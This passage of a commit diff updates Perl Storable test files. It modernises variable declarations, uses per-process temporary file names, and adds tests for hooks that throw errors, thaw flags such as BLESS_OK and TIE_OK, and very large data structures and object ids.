-    unshift @INC, 't/compat' if $] < 5.006002;
+    if ($ENV{PERL_CORE}) {
+        chdir 'dist/Storable' if -d 'dist/Storable';
+        @INC = ('../../lib', 't');
+    } else {
+        unshift @INC, 't';
+        unshift @INC, 't/compat' if $] < 5.006002;
+    }
     require Config; import Config;
     if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bStorable\b/) {
         print "1..0 # Skip: Storable was not built\n";
@@ -18,25 +36,16 @@
 
 use Test::More;
 
-use Storable qw(freeze thaw store retrieve);
+use Storable qw(freeze thaw store retrieve fd_retrieve);
 
-%::immortals
-  = (u => \undef,
-     'y' => \(1 == 1),
-     n => \(1 == 0)
-);
+%::weird_refs = 
+  (REF            => \(my $aref    = []),
+   VSTRING        => \(my $vstring = v1.2.3),
+   'long VSTRING' => \(my $lvstring = eval "v" . 0 x 300),
+   LVALUE         => \(my $substr  = substr((my $str = "foo"), 0, 3)));
 
-{
-    %::weird_refs = (
-        REF     => \(my $aref    = []),
-        VSTRING => \(my $vstring = v1.2.3),
-       'long VSTRING' => \(my $vstring = eval "v" . 0 x 300),
-        LVALUE  => \(my $substr  = substr((my $str = "foo"), 0, 3)),
-    );
-}
-
-my $test = 12;
-my $tests = $test + 23 + (2 * 6 * keys %::immortals) + (3 * keys %::weird_refs);
+my $test = 13;
+my $tests = $test + 41 + (2 * 6 * keys %::immortals) + (3 * keys %::weird_refs);
 plan(tests => $tests);
 
 package SHORT_NAME;
@@ -62,11 +71,13 @@
 package main;
 
 # Still less than 256 bytes, so long classname logic not fully exercised
-# Wait until Perl removes the restriction on identifier lengths.
-my $name = "LONG_NAME_" . 'xxxxxxxxxxxxx::' x 14 . "final";
+#   Identifier too long - 5.004
+#   parser.h: char	tokenbuf[256]: cperl5.24 => 1024
+my $m = ($Config{usecperl} and $] >= 5.024) ? 56 : 14;
+my $longname = "LONG_NAME_" . ('xxxxxxxxxxxxx::' x $m) . "final";
 
 eval <<EOC;
-package $name;
+package $longname;
 
 \@ISA = ("SHORT_NAME");
 EOC
@@ -73,7 +84,7 @@
 is($@, '');
 
 eval <<EOC;
-package ${name}_WITH_HOOK;
+package ${longname}_WITH_HOOK;
 
 \@ISA = ("SHORT_NAME_WITH_HOOK");
 EOC
@@ -81,12 +92,11 @@
 
 # Construct a pool of objects
 my @pool;
-
 for (my $i = 0; $i < 10; $i++) {
-	push(@pool, SHORT_NAME->make);
-	push(@pool, SHORT_NAME_WITH_HOOK->make);
-	push(@pool, $name->make);
-	push(@pool, "${name}_WITH_HOOK"->make);
+    push(@pool, SHORT_NAME->make);
+    push(@pool, SHORT_NAME_WITH_HOOK->make);
+    push(@pool, $longname->make);
+    push(@pool, "${longname}_WITH_HOOK"->make);
 }
 
 my $x = freeze \@pool;
@@ -98,24 +108,24 @@
 
 is(ref $y->[0], 'SHORT_NAME');
 is(ref $y->[1], 'SHORT_NAME_WITH_HOOK');
-is(ref $y->[2], $name);
-is(ref $y->[3], "${name}_WITH_HOOK");
+is(ref $y->[2], $longname);
+is(ref $y->[3], "${longname}_WITH_HOOK");
 
 my $good = 1;
 for (my $i = 0; $i < 10; $i++) {
-	do { $good = 0; last } unless ref $y->[4*$i]   eq 'SHORT_NAME';
-	do { $good = 0; last } unless ref $y->[4*$i+1] eq 'SHORT_NAME_WITH_HOOK';
-	do { $good = 0; last } unless ref $y->[4*$i+2] eq $name;
-	do { $good = 0; last } unless ref $y->[4*$i+3] eq "${name}_WITH_HOOK";
+    do { $good = 0; last } unless ref $y->[4*$i]   eq 'SHORT_NAME';
+    do { $good = 0; last } unless ref $y->[4*$i+1] eq 'SHORT_NAME_WITH_HOOK';
+    do { $good = 0; last } unless ref $y->[4*$i+2] eq $longname;
+    do { $good = 0; last } unless ref $y->[4*$i+3] eq "${longname}_WITH_HOOK";
 }
 is($good, 1);
 
 {
-	my $blessed_ref = bless \\[1,2,3], 'Foobar';
-	my $x = freeze $blessed_ref;
-	my $y = thaw $x;
-	is(ref $y, 'Foobar');
-	is($$$y->[0], 1);
+    my $blessed_ref = bless \\[1,2,3], 'Foobar';
+    my $x = freeze $blessed_ref;
+    my $y = thaw $x;
+    is(ref $y, 'Foobar');
+    is($$$y->[0], 1);
 }
 
 package RETURNS_IMMORTALS;
@@ -123,30 +133,32 @@
 sub make { my $self = shift; bless [@_], $self }
 
 sub STORABLE_freeze {
-  # Some reference some number of times.
-  my $self = shift;
-  my ($what, $times) = @$self;
-  return ("$what$times", ($::immortals{$what}) x $times);
+    # Some reference some number of times.
+    my $self = shift;
+    my ($what, $times) = @$self;
+    return ("$what$times", ($::immortals{$what}) x $times);
 }
 
 sub STORABLE_thaw {
-	my $self = shift;
-	my $cloning = shift;
-	my ($x, @refs) = @_;
-	my ($what, $times) = $x =~ /(.)(\d+)/;
-	die "'$x' didn't match" unless defined $times;
-	main::is(scalar @refs, $times);
-	my $expect = $::immortals{$what};
-	die "'$x' did not give a reference" unless ref $expect;
-	my $fail;
-	foreach (@refs) {
-	  $fail++ if $_ != $expect;
-	}
-	main::is($fail, undef);
+    my $self = shift;
+    my $cloning = shift;
+    my ($x, @refs) = @_;
+    my ($what, $times) = $x =~ /(.)(\d+)/;
+    die "'$x' didn't match" unless defined $times;
+    main::is(scalar @refs, $times);
+    my $expect = $::immortals{$what};
+    die "'$x' did not give a reference" unless ref $expect;
+    my $fail;
+    foreach (@refs) {
+        $fail++ if $_ != $expect;
+    }
+    main::is($fail, undef);
 }
 
 package main;
 
+# XXX Failed tests:  15, 27, 39 with 5.12 and 5.10 threaded.
+# 15: 1 fail (y x 1), 27: 2 fail (y x 2), 39: 3 fail (y x 3)
 # $Storable::DEBUGME = 1;
 my $count;
 foreach $count (1..3) {
@@ -156,7 +168,12 @@
     my $i =  RETURNS_IMMORTALS->make ($immortal, $count);
 
     my $f = freeze ($i);
-    isnt($f, undef);
+  TODO: {
+      # ref sv_true is not always sv_true, at least in older threaded perls.
+      local $TODO = "Some 5.10/12 do not preserve ref identity with freeze \\(1 == 1)"
+        if !defined($f) and $] < 5.013 and $] > 5.009 and $immortal eq 'y';
+      isnt($f, undef);
+    }
     my $t = thaw $f;
     pass("thaw didn't crash");
   }
@@ -305,3 +322,95 @@
         }
     }
 }
+
+{
+    # [perl #118551]
+    {
+        package RT118551;
+
+        sub new {
+            my $class = shift;
+            my $string = shift;
+            die 'Bad data' unless defined $string;
+            my $self = { string => $string };
+            return bless $self, $class;
+        }
+
+        sub STORABLE_freeze {
+            my $self = shift;
+            my $cloning = shift;
+            return if $cloning;
+            return ($self->{string});
+        }
+
+        sub STORABLE_attach {
+            my $class = shift;
+            my $cloning = shift;
+            my $string = shift;
+            return $class->new($string);
+        }
+    }
+
+    my $x = [ RT118551->new('a'), RT118551->new('') ];
+
+    $y = freeze($x);
+
+    ok(eval {thaw($y)}, "empty serialized") or diag $@; # <-- dies here with "Bad data"
+}
+
+{
+    {
+        package FreezeHookDies;
+        sub STORABLE_freeze {
+            die ${$_[0]}
+        }
+
+	package ThawHookDies;
+	sub STORABLE_freeze {
+	    my ($self, $cloning) = @_;
+	    my $tmp = $$self;
+	    return "a", \$tmp;
+	}
+	sub STORABLE_thaw {
+	    my ($self, $cloning, $str, $obj) = @_;
+	    die $$obj;
+	}
+    }
+    my $x = bless \(my $tmpx = "Foo"), "FreezeHookDies";
+    my $y = bless \(my $tmpy = []), "FreezeHookDies";
+
+    ok(!eval { store($x, "store$$"); 1 }, "store of hook which throws no NL died");
+    ok(!eval { store($y, "store$$"); 1 }, "store of hook which throws ref died");
+
+    ok(!eval { freeze($x); 1 }, "freeze of hook which throws no NL died");
+    ok(!eval { freeze($y); 1 }, "freeze of hook which throws ref died");
+
+    ok(!eval { dclone($x); 1 }, "dclone of hook which throws no NL died");
+    ok(!eval { dclone($y); 1 }, "dclone of hook which throws ref died");
+
+    my $ostr = bless \(my $tmpstr = "Foo"), "ThawHookDies";
+    my $oref = bless \(my $tmpref = []), "ThawHookDies";
+    ok(store($ostr, "store$$"), "save throw Foo on thaw");
+    ok(!eval { retrieve("store$$"); 1 }, "retrieve of throw Foo on thaw died");
+    open FH, "<", "store$$" or die;
+    binmode FH;
+    ok(!eval { fd_retrieve(*FH); 1 }, "fd_retrieve of throw Foo on thaw died");
+    ok(!ref $@, "right thing thrown");
+    close FH;
+    ok(store($oref, "store$$"), "save throw ref on thaw");
+    ok(!eval { retrieve("store$$"); 1 }, "retrieve of throw ref on thaw died");
+    open FH, "<", "store$$" or die;
+    binmode FH;
+    ok(!eval { fd_retrieve(*FH); 1 }, "fd_retrieve of throw [] on thaw died");
+    ok(ref $@, "right thing thrown");
+    close FH;
+
+    my $strdata = freeze($ostr);
+    ok(!eval { thaw($strdata); 1 }, "thaw of throw Foo on thaw died");
+    ok(!ref $@, "and a string thrown");
+    my $refdata = freeze($oref);
+    ok(!eval { thaw($refdata); 1 }, "thaw of throw [] on thaw died");
+    ok(ref $@, "and a ref thrown");
+
+    unlink("store$$");
+}

Modified: vendor/perl/dist/dist/Storable/t/canonical.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/canonical.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/canonical.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,7 +18,7 @@
 
 
 use Storable qw(freeze thaw dclone);
-use vars qw($debugging $verbose);
+our ($debugging, $verbose);
 
 use Test::More tests => 8;
 
@@ -34,7 +34,7 @@
 
 eval { require Digest::MD5; };
 $gotmd5 = !$@;
-note "Will use Digest::MD5" if $gotmd5;
+diag "Will use Digest::MD5" if $gotmd5;
 
 # Use Data::Dumper if debugging and it is available to create an ASCII dump
 

Modified: vendor/perl/dist/dist/Storable/t/code.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/code.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/code.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -41,7 +41,7 @@
 
 #$Storable::DEBUGME = 1;
 
-use vars qw($freezed $thawed @obj @res $blessed_code);
+our ($freezed, $thawed, @obj, @res, $blessed_code);
 
 $blessed_code = bless sub { "blessed" }, "Some::Package";
 { package Another::Package; sub foo { __PACKAGE__ } }
@@ -125,8 +125,9 @@
 ######################################################################
 # Test retrieve & store
 
-store $obj[0], 'store';
-$thawed = retrieve 'store';
+store $obj[0], "store$$";
+# $Storable::DEBUGME = 1;
+$thawed = retrieve "store$$";
 
 is($thawed->[0]->(), "JAPH");
 is($thawed->[1]->(), 42);
@@ -136,9 +137,9 @@
 
 ######################################################################
 
-nstore $obj[0], 'store';
-$thawed = retrieve 'store';
-unlink 'store';
+nstore $obj[0], "store$$";
+$thawed = retrieve "store$$";
+unlink "store$$";
 
 is($thawed->[0]->(), "JAPH");
 is($thawed->[1]->(), 42);

Modified: vendor/perl/dist/dist/Storable/t/downgrade.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/downgrade.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/downgrade.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -26,12 +26,12 @@
 use Storable 'thaw';
 
 use strict;
-use vars qw(@RESTRICT_TESTS %R_HASH %U_HASH $UTF8_CROAK $RESTRICTED_CROAK);
+our (%U_HASH, $UTF8_CROAK, $RESTRICTED_CROAK);
 
- at RESTRICT_TESTS = ('Locked hash', 'Locked hash placeholder',
+our @RESTRICT_TESTS = ('Locked hash', 'Locked hash placeholder',
                    'Locked keys', 'Locked keys placeholder',
                   );
-%R_HASH = (perl => 'rules');
+our %R_HASH = (perl => 'rules');
 
 if ($] > 5.007002) {
   # This is cheating. "\xdf" in Latin 1 is beta S, so will match \w if it

Added: vendor/perl/dist/dist/Storable/t/flags.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/flags.t	                        (rev 0)
+++ vendor/perl/dist/dist/Storable/t/flags.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,103 @@
+#!./perl
+
+use Test::More tests => 16;
+
+use Storable ();
+
+use warnings;
+use strict;
+
+package TEST;
+
+sub make {
+	my $pkg = shift;
+	return bless { a => 1, b => 2 }, $pkg;
+}
+
+package TIED_HASH;
+
+sub TIEHASH {
+	my $pkg = shift;
+	return bless { a => 1, b => 2 }, $pkg;
+}
+
+sub FETCH {
+	my ($self, $key) = @_;
+	return $self->{$key};
+}
+
+sub STORE {
+	my ($self, $key, $value) = @_;
+	$self->{$key} = $value;
+}
+
+sub FIRSTKEY {
+	my $self = shift;
+	keys %$self;
+	return each %$self;
+}
+
+sub NEXTKEY {
+	my $self = shift;
+	return each %{$self};
+}
+
+sub EXISTS {
+	my ($self, $key) = @_;
+	return exists $self->{$key};
+}
+
+package main;
+
+{
+	my $obj = TEST->make;
+
+	is_deeply($obj, { a => 1, b => 2 }, "object contains correct data");
+
+	my $frozen = Storable::freeze($obj);
+	my ($t1, $t2) = Storable::thaw($frozen);
+
+	{
+		no warnings 'once';
+		local $Storable::flags = Storable::FLAGS_COMPAT();
+		$t2 = Storable::thaw($frozen);
+	}
+
+	is_deeply($t1, $t2, "objects contain matching data");
+	is(ref $t1, 'TEST', "default object is blessed");
+	is(ref $t2, 'TEST', "compat object is blessed into correct class");
+
+	my $t3 = Storable::thaw($frozen, Storable::FLAGS_COMPAT());
+	is_deeply($t2, $t3, "objects contain matching data (explicit test)");
+	is(ref $t3, 'TEST', "compat object is blessed into correct class (explicit test)");
+
+	my $t4 = Storable::thaw($frozen, Storable::BLESS_OK());
+	is_deeply($t2, $t3, "objects contain matching data (explicit test for bless)");
+	is(ref $t3, 'TEST', "compat object is blessed into correct class (explicit test for bless)");
+
+	{
+		no warnings 'once';
+		local $Storable::flags = Storable::FLAGS_COMPAT();
+		my $t5 = Storable::thaw($frozen, 0);
+		my $t6 = Storable::thaw($frozen, Storable::TIE_OK());
+
+		is_deeply($t1, $t5, "objects contain matching data");
+		is_deeply($t1, $t6, "objects contain matching data for TIE_OK");
+		is(ref $t5, 'HASH', "default object is unblessed");
+		is(ref $t6, 'HASH', "TIE_OK object is unblessed");
+	}
+}
+
+{
+	tie my %hash, 'TIED_HASH';
+	ok(tied %hash, "hash is tied");
+	my $obj = { bow => \%hash };
+
+	my $frozen = Storable::freeze($obj);
+	my $t1 = Storable::thaw($frozen, Storable::FLAGS_COMPAT());
+	my $t2 = eval { Storable::thaw($frozen); };
+
+	ok(!$@, "trying to thaw a tied value succeeds");
+	ok(tied %{$t1->{bow}}, "compat object is tied");
+	is(ref tied %{$t1->{bow}}, 'TIED_HASH', "compat object is tied into correct class");
+}

Modified: vendor/perl/dist/dist/Storable/t/forgive.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/forgive.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/forgive.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -36,7 +36,7 @@
 my $bad = ['foo', \*GLOB,  'bar'];
 my $result;
 
-eval {$result = store ($bad , 'store')};
+eval {$result = store ($bad , "store$$")};
 is($result, undef);
 isnt($@, '');
 
@@ -48,7 +48,7 @@
 open(STDERR, '>', $devnull) or 
   ( print SAVEERR "Unable to redirect STDERR: $!\n" and exit(1) );
 
-eval {$result = store ($bad , 'store')};
+eval {$result = store ($bad , "store$$")};
 
 open(STDERR, ">&SAVEERR");
 
@@ -55,7 +55,7 @@
 isnt($result, undef);
 is($@, '');
 
-my $ret = retrieve('store');
+my $ret = retrieve("store$$");
 isnt($ret, undef);
 is($ret->[0], 'foo');
 is($ret->[2], 'bar');
@@ -62,4 +62,4 @@
 is(ref $ret->[1], 'SCALAR');
 
 
-END { 1 while unlink 'store' }
+END { 1 while unlink "store$$" }

Modified: vendor/perl/dist/dist/Storable/t/freeze.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/freeze.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/freeze.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -19,6 +19,8 @@
 
 use Storable qw(freeze nfreeze thaw);
 
+$Storable::flags = Storable::FLAGS_COMPAT;
+
 use Test::More tests => 21;
 
 $a = 'toto';

Added: vendor/perl/dist/dist/Storable/t/huge.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/huge.t	                        (rev 0)
+++ vendor/perl/dist/dist/Storable/t/huge.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,104 @@
+#!./perl
+
+use strict;
+use warnings;
+
+use Config;
+use Storable qw(dclone);
+use Test::More;
+
+BEGIN {
+    plan skip_all => 'Storable was not built'
+        if $ENV{PERL_CORE} && $Config{'extensions'} !~ /\b Storable \b/x;
+    plan skip_all => 'Need 64-bit pointers for this test'
+        if $Config{ptrsize} < 8 and $] > 5.013;
+    plan skip_all => 'Need 64-bit int for this test on older versions'
+        if $Config{uvsize} < 8 and $] < 5.013;
+    plan skip_all => 'Need ~4 GiB memory for this test, set PERL_TEST_MEMORY > 4'
+        if !$ENV{PERL_TEST_MEMORY} || $ENV{PERL_TEST_MEMORY} < 4;
+}
+
+# Just too big to fit in an I32.
+my $huge = int(2 ** 31);
+# v5.24.1c/v5.25.1c switched to die earlier with "Too many elements",
+# which is much safer.
+my $has_too_many = ($Config{usecperl} and
+      (($] >= 5.024001 and $] < 5.025000)
+       or $] >= 5.025001)) ? 1 : 0;
+
+# These overlarge sizes are enabled only since Storable 3.00 and some
+# cases need cperl support. Perl5 (as of 5.24) has some internal
+# problems with >I32 sizes, which only cperl has fixed.
+# perl5 is not yet 2GB safe, esp. with hashes.
+
+# string len (xpv_cur): STRLEN (ptrsize>=8)
+# array size (xav_max): SSize_t (I32/I64) (ptrsize>=8)
+# hash size (xhv_keys):
+#    IV            - 5.12   (ivsize>=8)
+#    STRLEN  5.14  - 5.24   (size_t: U32/U64)
+#    SSize_t 5.22c - 5.24c  (I32/I64)
+#    U32     5.25c -
+# hash key: I32
+
+my @cases = (
+    ['huge string',
+     sub { my $s = 'x' x $huge; \$s }],
+
+    ['array with huge element',
+     sub { my $s = 'x' x $huge; [$s] }],
+
+    ['hash with huge value',
+     sub { my $s = 'x' x $huge; +{ foo => $s } }],
+
+    # There's no huge key, limited to I32.
+  ) if $Config{ptrsize} > 4;
+
+
+# An array with a huge number of elements requires several gigabytes of
+# virtual memory. On darwin it is evtl killed.
+if ($Config{ptrsize} > 4 and !$has_too_many) {
+    # needs 20-55G virtual memory, 4.6M heap and several minutes on a fast machine 
+    if ($ENV{PERL_TEST_MEMORY} >= 55) {
+        push @cases,
+          [ 'huge array',
+            sub { my @x; $x[$huge] = undef; \@x } ];
+    } else {
+        diag "skip huge array, need PERL_TEST_MEMORY >= 8";
+    }
+}
+
+# A hash with a huge number of keys would require tens of gigabytes of
+# memory, which doesn't seem like a good idea even for this test file.
+# Unfortunately even older 32bit perls do allow this.
+if (!$has_too_many) {
+    # needs >90G virtual mem, and is evtl. killed
+    if ($ENV{PERL_TEST_MEMORY} >= 96) {
+        # number of keys >I32. impossible to handle with perl5, but Storable can.
+        push @cases,
+          ['huge hash',
+           sub { my %x = (0 .. $huge); \%x } ];
+    } else {
+        diag "skip huge hash, need PERL_TEST_MEMORY >= 16";
+    }
+}
+
+
+plan tests => 2 * scalar @cases;
+
+for (@cases) {
+    my ($desc, $build) = @$_;
+    diag "building test input: $desc";
+    my ($input, $exn, $clone);
+    diag "these huge subtests need a lot of memory and time!" if $desc eq 'huge array';
+    $input = $build->();
+    diag "running test: $desc";
+    $exn = $@ if !eval { $clone = dclone($input); 1 };
+
+    is($exn, undef, "$desc no exception");
+    is_deeply($input, $clone, "$desc cloned");
+    #ok($clone, "$desc cloned");
+
+    # Ensure the huge objects are freed right now:
+    undef $input;
+    undef $clone;
+}

Added: vendor/perl/dist/dist/Storable/t/hugeids.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/hugeids.t	                        (rev 0)
+++ vendor/perl/dist/dist/Storable/t/hugeids.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,372 @@
+#!./perl
+
+# We do all of the work in child processes here to ensure that any
+# memory used is released immediately.
+
+# These tests use ridiculous amounts of memory and CPU.
+
+use strict;
+use warnings;
+
+use Config;
+use Storable qw(store_fd retrieve_fd nstore_fd);
+use Test::More;
+use File::Temp qw(tempfile);
+use File::Spec;
+
+BEGIN {
+    plan skip_all => 'Storable was not built'
+        if $ENV{PERL_CORE} && $Config{'extensions'} !~ /\b Storable \b/x;
+    plan skip_all => 'Need 64-bit pointers for this test'
+        if $Config{ptrsize} < 8 and $] > 5.013;
+    plan skip_all => 'Need 64-bit int for this test on older versions'
+        if $Config{uvsize} < 8 and $] < 5.013;
+    plan skip_all => 'Need ~8 GiB memory for this test, set PERL_TEST_MEMORY >= 8'
+        if !$ENV{PERL_TEST_MEMORY} || $ENV{PERL_TEST_MEMORY} < 8;
+    plan skip_all => 'These tests are slow, set PERL_RUN_SLOW_TESTS'
+        unless $ENV{PERL_RUN_SLOW_TESTS};
+    plan skip_all => "Need fork for this test",
+        unless $Config{d_fork};
+}
+
+find_exe("gzip")
+    or plan skip_all => "Need gzip for this test";
+find_exe("gunzip")
+    or plan skip_all => "Need gunzip for this test";
+
+plan tests => 12;
+
+my $skips = $ENV{PERL_STORABLE_SKIP_ID_TEST} || '';
+my $keeps = $ENV{PERL_STORABLE_KEEP_ID_TEST};
+
+freeze_thaw_test
+  (
+   name => "object ids between 2G and 4G",
+   freeze => \&make_2g_data,
+   thaw => \&check_2g_data,
+   id => "2g",
+   memory => 34,
+  );
+
+freeze_thaw_test
+  (
+   name => "object ids over 4G",
+   freeze => \&make_4g_data,
+   thaw => \&check_4g_data,
+   id => "4g",
+   memory => 70,
+  );
+
+freeze_thaw_test
+  (
+   name => "hook object ids over 4G",
+   freeze => \&make_hook_data,
+   thaw => \&check_hook_data,
+   id => "hook4g",
+   memory => 70,
+  );
+
+# not really an id test, but the infrastructure here makes tests
+# easier
+freeze_thaw_test
+  (
+   name => "network store large PV",
+   freeze => \&make_net_large_pv,
+   thaw => \&check_net_large_pv,
+   id => "netlargepv",
+   memory => 8,
+  );
+
+freeze_thaw_test
+    (
+     name => "hook store with 2g data",
+     freeze => \&make_2g_hook_data,
+     thaw => \&check_2g_hook_data,
+     id => "hook2gdata",
+     memory => 4,
+    );
+
+freeze_thaw_test
+    (
+     name => "hook store with 4g data",
+     freeze => \&make_4g_hook_data,
+     thaw => \&check_4g_hook_data,
+     id => "hook4gdata",
+     memory => 8,
+    );
+
+sub freeze_thaw_test {
+    my %opts = @_;
+
+    my $freeze = $opts{freeze}
+      or die "Missing freeze";
+    my $thaw = $opts{thaw}
+      or die "Missing thaw";
+    my $id = $opts{id}
+      or die "Missing id";
+    my $name = $opts{name}
+      or die "Missing name";
+    my $memory = $opts{memory}
+      or die "Missing memory";
+    my $todo_thaw = $opts{todo_thaw} || "";
+
+  SKIP:
+    {
+	# IPC::Run would be handy here
+
+	$ENV{PERL_TEST_MEMORY} >= $memory
+	  or skip "Not enough memory to test $name", 2;
+	$skips =~ /\b\Q$id\E\b/
+	  and skip "You requested test $name ($id) be skipped", 2;
+        defined $keeps && $keeps !~ /\b\Q$id\E\b/
+            and skip "You didn't request test $name ($id)", 2;
+	my $stored;
+	if (defined(my $pid = open(my $fh, "-|"))) {
+	    unless ($pid) {
+		# child
+		open my $cfh, "|-", "gzip"
+		  or die "Cannot pipe to gzip: $!";
+		binmode $cfh;
+		$freeze->($cfh);
+		exit;
+	    }
+	    # parent
+	    $stored = do { local $/; <$fh> };
+	    close $fh;
+	}
+	else {
+	    skip "$name: Cannot fork for freeze", 2;
+	}
+	ok($stored, "$name: we got output data")
+	  or skip "$name: skipping thaw test", 1;
+
+	my ($tfh, $tname) = tempfile();
+
+	#my $tname = "$id.store.gz";
+	#open my $tfh, ">", $tname or die;
+	#binmode $tfh;
+
+	print $tfh $stored;
+	close $tfh;
+    
+	if (defined(my $pid = open(my $fh, "-|"))) {
+	    unless ($pid) {
+		# child
+		open my $bfh, "-|", "gunzip <$tname"
+		  or die "Cannot pipe from gunzip: $!";
+		binmode $bfh;
+		$thaw->($bfh);
+		exit;
+	    }
+	    my $out = do { local $/; <$fh> };
+	    chomp $out;
+	    local $TODO = $todo_thaw;
+	    is($out, "OK", "$name: check result");
+	}
+	else {
+	    skip "$name: Cannot fork for thaw", 1;
+	}
+    }
+}
+
+
+sub make_2g_data {
+  my ($fh) = @_;
+  my @x;
+  my $y = 1;
+  my $z = 2;
+  my $g2 = 0x80000000;
+  $x[0] = \$y;
+  $x[$g2] = \$y;
+  $x[$g2+1] = \$z;
+  $x[$g2+2] = \$z;
+  store_fd(\@x, $fh);
+}
+
+sub check_2g_data {
+  my ($fh) = @_;
+  my $x = retrieve_fd($fh);
+  my $g2 = 0x80000000;
+  $x->[0] == $x->[$g2]
+    or die "First entry mismatch";
+  $x->[$g2+1] == $x->[$g2+2]
+    or die "2G+ entry mismatch";
+  print "OK";
+}
+
+sub make_4g_data {
+  my ($fh) = @_;
+  my @x;
+  my $y = 1;
+  my $z = 2;
+  my $g4 = 2*0x80000000;
+  $x[0] = \$y;
+  $x[$g4] = \$y;
+  $x[$g4+1] = \$z;
+  $x[$g4+2] = \$z;
+  store_fd(\@x, $fh);
+}
+
+sub check_4g_data {
+  my ($fh) = @_;
+  my $x = retrieve_fd($fh);
+  my $g4 = 2*0x80000000;
+  $x->[0] == $x->[$g4]
+    or die "First entry mismatch";
+  $x->[$g4+1] == $x->[$g4+2]
+    or die "4G+ entry mismatch";
+  ${$x->[$g4+1]} == 2
+    or die "Incorrect value in 4G+ entry";
+  print "OK";
+}
+
+sub make_hook_data {
+    my ($fh) = @_;
+    my @x;
+    my $y = HookLargeIds->new(101, { name => "one" });
+    my $z = HookLargeIds->new(201, { name => "two" });
+    my $g4 = 2*0x8000_0000;
+    $x[0] = $y;
+    $x[$g4] = $y;
+    $x[$g4+1] = $z;
+    $x[$g4+2] = $z;
+    store_fd(\@x, $fh);
+}
+
+sub check_hook_data {
+    my ($fh) = @_;
+    my $x = retrieve_fd($fh);
+    my $g4 = 2*0x8000_0000;
+    my $y = $x->[$g4+1];
+    $y = $x->[$g4+1];
+    $y->id == 201
+      or die "Incorrect id in 4G+ object";
+    ref($y->data) eq 'HASH'
+      or die "data isn't a ref";
+    $y->data->{name} eq "two"
+      or die "data name not 'one'";
+    print "OK";
+}
+
+sub make_net_large_pv {
+    my ($fh) = @_;
+    my $x = "x"; # avoid constant folding making a 4G scalar
+    my $g4 = 2*0x80000000;
+    my $y = $x x ($g4 + 5);
+    nstore_fd(\$y, $fh);
+}
+
+sub check_net_large_pv {
+    my ($fh) = @_;
+    my $x = retrieve_fd($fh);
+    my $g4 = 2*0x80000000;
+    ref $x && ref($x) eq "SCALAR"
+      or die "Not a scalar ref ", ref $x;
+
+    length($$x) == $g4+5
+      or die "Incorect length";
+    print "OK";
+}
+
+sub make_2g_hook_data {
+    my ($fh) = @_;
+
+    my $g2 = 0x80000000;
+    my $x = HookLargeData->new($g2);
+    store_fd($x, $fh);
+}
+
+sub check_2g_hook_data {
+    my ($fh) = @_;
+    my $x = retrieve_fd($fh);
+    my $g2 = 0x80000000;
+    $x->size == $g2
+        or die "Size incorrect ", $x->size;
+    print "OK";
+}
+
+sub make_4g_hook_data {
+    my ($fh) = @_;
+
+    my $g2 = 0x80000000;
+    my $g4 = 2 * $g2;
+    my $x = HookLargeData->new($g4+1);
+    store_fd($x, $fh);
+}
+
+sub check_4g_hook_data {
+    my ($fh) = @_;
+    my $x = retrieve_fd($fh);
+    my $g2 = 0x80000000;
+    my $g4 = 2 * $g2;
+    $x->size == $g4+1
+        or die "Size incorrect ", $x->size;
+    print "OK";
+}
+
+sub find_exe {
+    my ($exe) = @_;
+
+    $exe .= $Config{_exe};
+    my @path = split /\Q$Config{path_sep}/, $ENV{PATH};
+    for my $dir (@path) {
+        my $abs = File::Spec->catfile($dir, $exe);
+        -x $abs
+            and return $abs;
+    }
+}
+
+package HookLargeIds;
+
+sub new {
+    my $class = shift;
+    my ($id, $data) = @_;
+    return bless { id => $id, data => $data }, $class;
+}
+
+sub STORABLE_freeze {
+    #print STDERR "freeze called\n";
+    #Devel::Peek::Dump($_[0]);
+
+    return $_[0]->id, $_[0]->data;
+}
+
+sub STORABLE_thaw {
+    my ($self, $cloning, $ser, $data) = @_;
+
+    #Devel::Peek::Dump(\@_);
+    #print STDERR "thaw called\n";
+    #Devel::Peek::Dump($self);
+    $self->{id} = $ser+0;
+    $self->{data} = $data;
+}
+
+sub id {
+    $_[0]{id};
+}
+
+sub data {
+    $_[0]{data};
+}
+
+package HookLargeData;
+
+sub new {
+    my ($class, $size) = @_;
+
+    return bless { size => $size }, $class;
+}
+
+sub STORABLE_freeze {
+    return "x" x $_[0]{size};
+}
+
+sub STORABLE_thaw {
+    my ($self, $cloning, $ser) = @_;
+
+    $self->{size} = length $ser;
+}
+
+sub size {
+    $_[0]{size};
+}

Modified: vendor/perl/dist/dist/Storable/t/interwork56.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/interwork56.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/interwork56.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -30,7 +30,7 @@
 use strict;
 use Test::More tests=>30;
 
-use vars qw(%tests);
+our (%tests);
 
 {
     local $/ = "\n\nend\n";

Modified: vendor/perl/dist/dist/Storable/t/just_plain_nasty.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/just_plain_nasty.t	2018-11-30 20:25:27 UTC (rev 12125)
